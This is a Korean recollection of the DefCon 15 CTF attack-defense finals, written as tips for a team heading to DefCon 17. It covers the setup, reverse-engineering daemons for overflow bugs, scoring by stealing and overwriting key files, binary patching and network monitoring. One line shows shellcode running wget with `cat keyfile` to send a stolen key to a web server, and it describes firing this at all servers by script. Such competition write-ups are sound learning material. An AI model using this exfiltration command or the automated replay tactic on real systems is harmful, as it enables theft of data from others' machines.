벌써 2년이나 지난 이야기이지만...
후배들이 이번 DefCon CTF 17 본선에 진출하게 되어,
조금이라도 도움이 될까 하여 기억나는대로 적어본다.
1. 환경
architecture는 어떻게 구성되는지 잘 모르겠지만 OS는 항상 공짜 OS 환경이라고 한다. 2006년 DefCon 14 CTF에서는 x86 architecture에서의 solaris였다고 하고, 2007년 DefCon 15 CTF에서는 x86 architecture에서의 FreeBSD 환경이었다.
경기장에는 팀 수만큼의 테이블이 세팅되어 있으며, 그 테이블에서 동시에 작업할 수 있는 사람은 팀당 8명으로 제한되어 있었다. 랜으로 연결된 경우에만 공격이 가능하기 때문에 테이블에 앉아있지 않은 사람들은 바이너리를 가지고 분석만을 할 수 있었다. 테이블에 앉아있는 사람이 휴식이 필요한 경우나, 테이블 밖에 있는 사람이 뭔가를 발견했을 때에는 서로 rotate하며 작업을 진행했었다.
진행하는 사람들도 가운데에 따로 테이블을 가지고 있었기 때문에, 혹시 의아한 부분이 있으면 직접 질문을 할 수도 있었다. 물론 영어로만...
실제로 ftp 관련 문제에 대해서 뭔가 이상하다고 질문을 해서 답을 들은 적이 있었다.
공격과 인증 등은 모두 내부망을 통해서만 가능했다. 내부망은 각 팀별로 정해진 ip대역을 사용할 수 있도록 설정되어 있었다. 내부망은 외부 인터넷과는 직접 연결되어 있지 않았으므로 인터넷을 해야 할 필요가 있을 경우는 가까운 AP에서 잡히는 무선인터넷을 이용하여야 했다. 대회장 내부에서 무선인터넷을 잡을 수 있었는지는 잘 기억나지 않는다. 하지만 대회장 바로 옆방에는 무선 인터넷을 잡을 수 있도록 AP가 준비되어 있었기 때문에 그곳에서 필요한 정보들을 찾을 수는 있었다.
DefCon 15 CTF에서는 예선을 통과한 7개 팀과 DefCon 14 CTF의 우승팀인 l@stPlace 까지 하여 총 8개 팀이 서로 공격과 방어를 진행하도록 되어 있었다. 한가지 취약점을 발견하면 총 7개의 서버를 공격할 수 있게 되는 것이었다. DefCon 17 CTF는 총 10팀이 참가하는 것으로 알고 있으므로, 하나의 취약점을 발견하게 되면 총 9개의 서버를 공격할 수 있으므로 점수를 더 많이 획득할 수 있을 것으로 기대된다.
또한, 실제로 공격과 방어를 통해 점수를 획득할 수 있는 것은 경기중에만 가능했다. 경기는 3일간 오전부터 저녁까지 진행되었으며, 저녁에 경기가 중단되었을 때에는 점수를 획득하는 것은 불가능했다. 왜냐면 네트워크가 연결되어 있어야만 공격을 통해 점수를 획득할 수 있지만, 경기가 중단될 때에는 네트워크와 서버를 내려버려서 실제 공격을 할 수 없기 때문이다. 하지만 바이너리는 계속 분석할 수 있으므로 경기가 중지된 저녁~새벽 시간에 얼마나 많은 취약점을 알아내는가도 중요한 관건이라고 할 수 있다.
2. 문제 형태
문제의 형태는 대부분 reverse engineering을 통해 취약점(BOF, FSB등)을 알아낸 뒤, remote attack을 통해 공격하는 형태였다.
각 daemon들은 각각의 계정으로 동작했으며, 그 daemon의 취약점을 뚫고 들어가면 그 계정의 권한으로 내가 원하는 코드를 실행시킬 수 있었다. 그리고 각각의 계정별로 key 파일을 home디렉토리에 가지고 있었는데, 그 key파일이 점수를 획득하는 데에 핵심이 되는 것이었다.
daemon들은 listen을 하고 있다가 accept 되는 순간 fork 하여 따로 프로세스를 만들어 동작하도록 되어 있기 때문에 공격에 의해 segmentation fault가 발생하더라도 fork된 child process만 죽는 것이므로 parent process로 서비스를 지속시킬 수 있었다.
shared object를 dynamic link한 binary의 경우는 import한 function들의 symbol을 확인할 수 있었지만, static link만으로 만들어진 binary의 경우는 library 내부 코드까지 binary에 같이 들어있기 때문에 symbol이 없어 분석하는 데에 더 어려웠다.
3. 점수 따기
점수는 세가지 방법을 통해 획득할 수 있었다.
첫번째는 breakthrough, 두번째는 steal, 마지막 세번째는 overwrite이었다.
breakthrough는 그 문제를 제일 먼저 풀어낸 두 팀에게 주어지는 점수였다. 점수가 어느 정도였는지는 잘 기억이 나지 않는다.
나머지는 key 파일과 관련이 있는데, 일단 remote attack을 통해 취약점이 있는 daemon을 뚫고 들어가면 그 daemon의 권한으로 그 디렉토리 내에 있는 key 파일에 access할 수 있었다.
각 key 파일은 일정 시간마다 새로 바뀌었고, 중앙서버로부터 얻을 수 있는 우리팀의 key값이 따로 있었는데, 그 key값도 그때마다 변경되었다.
상대방 서버의 key값을 읽어다가 중앙 웹서버에 전송하면 steal 점수를 얻을 수 있었고, 중앙 웹서버에서 얻을 수 있는 우리팀의 key값을 그 파일에 덮어씌우면 overwrite 점수를 얻는 것이었다.
최종적인 점수는 breakthrough와 steal, overwrite 점수의 합산 * SLA로 계산되었다.
breakthrough와 steal, overwrite의 점수는 각각 얼마씩이었는지 잘 기억이 나지 않는다.
참고로 DefCon 15 CTF의 본선대회가 끝난 시점에서는 우리 팀의 SLA가 가장 높았었다.
SLA에 대해서는 아래에 설명이 있다.
4. 방어하기
각 daemon들의 binary를 수정하여 방어를 할 수도 있었다. 단, 소스코드가 주어지지 않았으므로 binary를 직접 patch하는 형태로만 수정할 수 있었다.
단, patch를 위해 서비스를 내려놓으면 SLA(Service Level Agreement???)가 깎였는데, SLA가 낮아지면 전체 점수에 영향이 있었으므로, service를 중지하는 시간은 최소화 하도록 하였다.
또한, 정상적인 service가 불가능할 정도로 패치를 해버리면 역시나 시간에 따라 SLA가 깎이므로 주의하도록 한다.
실제로 daemon들은 interactive한 game이나, 주문을 받는다거나 뭐 그런 프로그램들이었기 때문에, 여러번의 입력을 받도록 되어 있었고, 그 결과가 제대로 나왔어야 했다. 한번 패치를 잘못해서 버퍼 크기를 너무 많이 줄이는 바람에 SLA가 좀 깎였던 기억이 있다.
5. 네트워크
네트워크를 감시하는 사람이 하나 또는 둘 정도는 있어야 한다고 생각한다. 왜냐면 상대방에게서 날아온 공격패킷을 분석하여 어느 부분이 취약한지를 알아낼 수 있기 때문이다. 예를 들어 날아온 패킷의 내부에 /bin/sh 이라는 문자열이 포함되어있다는 것을 발견하면, 그 패킷을 그대로 다른 서버로 보냈을 경우 쉘을 따낼 수도 있다.
일단 어떤 포트로 패킷이 날아갔는지를 확인하면 어떤 데몬에 bind된 포트인지 찾아서 패킷에 실린 데이터를 직접 그대로 입력하면서 취약점을 찾아낼 수도 있다. 굳이 disassemble하면서 찾아야 할 필요가 없는 것이다. 하지만 이 방법은 한계가 있다. 분명 제일 먼저 풀어낸 팀보다는 점수를 많이 얻을 수가 없다. 대부분의 경우 취약점을 확인하면, 공격패킷을 작성하는 동안 다른 사람들은 패치를 준비하기 때문에, 처음에 공격패킷을 보낸 팀의 서버는 공격하지 못하게 될 가능성이 높기 때문이다.
하지만 더미패킷같은 것들을 마구 뿌리게 되면 어떤 패킷이 실제로 공격 가능한 패킷인지 알아내기 힘들어진다. 때문에 여유가 있다면 공격패킷을 작성하는 동안 더미패킷들도 같이 작성하여 다른 팀들이 패킷을 분석하기 힘들게 하면 더욱 좋다.
6. 잡다한 팁
처음에는 잘 몰라서 일단 쉘을 띄우고 수동으로 키 파일을 열어 웹페이지에 붙여넣고 전송하는 형태로 steal 점수를 얻었다.
물론 overwrite의 경우도 마찬가지로 수동으로 진행하고 있었는데, 수동으로 작업하는 것은 상당히 비효율적인 작업이었다. 분석을 해야 할 사람 하나가 줄어드는 것이었는데다가, 자동 스크립트보다 빠를리도 없었기 때문이다.
때문에 공격의 대부분은 wget과 cat을 이용하여 웹서버에 자동으로 전송하는 형태로 진행되었다.
예를 들어 다음과 같은 코드를 실행하도록 쉘코드를 작성하는 것이다.
$ wget http://중앙서버주소/team1/aaa.php?key=`cat keyfile`
그리고 이 쉘코드를 포함한 공격코드를 스크립트로 몇 초에 한 번씩 모든 공격대상 서버에 계속 쏘게 만들었다.
그렇기 때문에 cat과 wget을 다른 디렉토리로 옮겨놓고, 다른 계정권한으로는 access할 수 없도록 따로 설정을 해 두면 좋다. 그렇게 하면 cat과 wget을 이용하여 공격을 해야 하는 상대방들은 다른 프로그램을 사용하거나 더 복잡한 공격코드를 작성해야 한다.
상대방도 물론 그런 형태로 방어를 할 수 있기 때문에, 애초에 system call을 직접 이용한 공격코드를 만들어 가는 것이 좋다.
문제는 어떤 architecture와 어떤 OS가 선택될 지를 모르기 때문에, 다양한 환경에서의 코드를 만들어 두어야 한다는 것이다.
얼핏 기억하기로는 architecture는 항상 x86이라는 얘기가 있었던 것 같기도 하다.
하지만 버퍼의 크기가 제한이 있는 경우가 있으므로 최대한 작은 크기의 쉘코드를 작성하는 것도 중요하다.
FreeBSD에서의 system call 번호와 linux에서의 system call 번호가 다른데, IDA-pro로 분석할 경우에는 system call 번호가 linux에서의 system call 로 매칭되어 나오기 때문에, syscall 헤더파일을 항상 열어놓고 실제로 매칭시켜보며 분석을 진행하였다.
그리고 어떤 문제가 breakthrough 됐는지를 체크해 두는 것도 중요하다. 따로 알 수가 없고, breakthrough가 발생했을 때 대형스크린에 어떤 팀이 어떤 문제를 breakthrough 했는지 메시지가 뜨고 끝이었다. 실제로 DefCon 15 CTF에서, 아직 breakthrough 점수를 얻을 수 있는 문제라고 생각하고 밤새 풀어내어 다음날 시작하자마자 공격을 시작했을 때 breakthrough가 뜨지 않은 경우도 있었기 때문이다.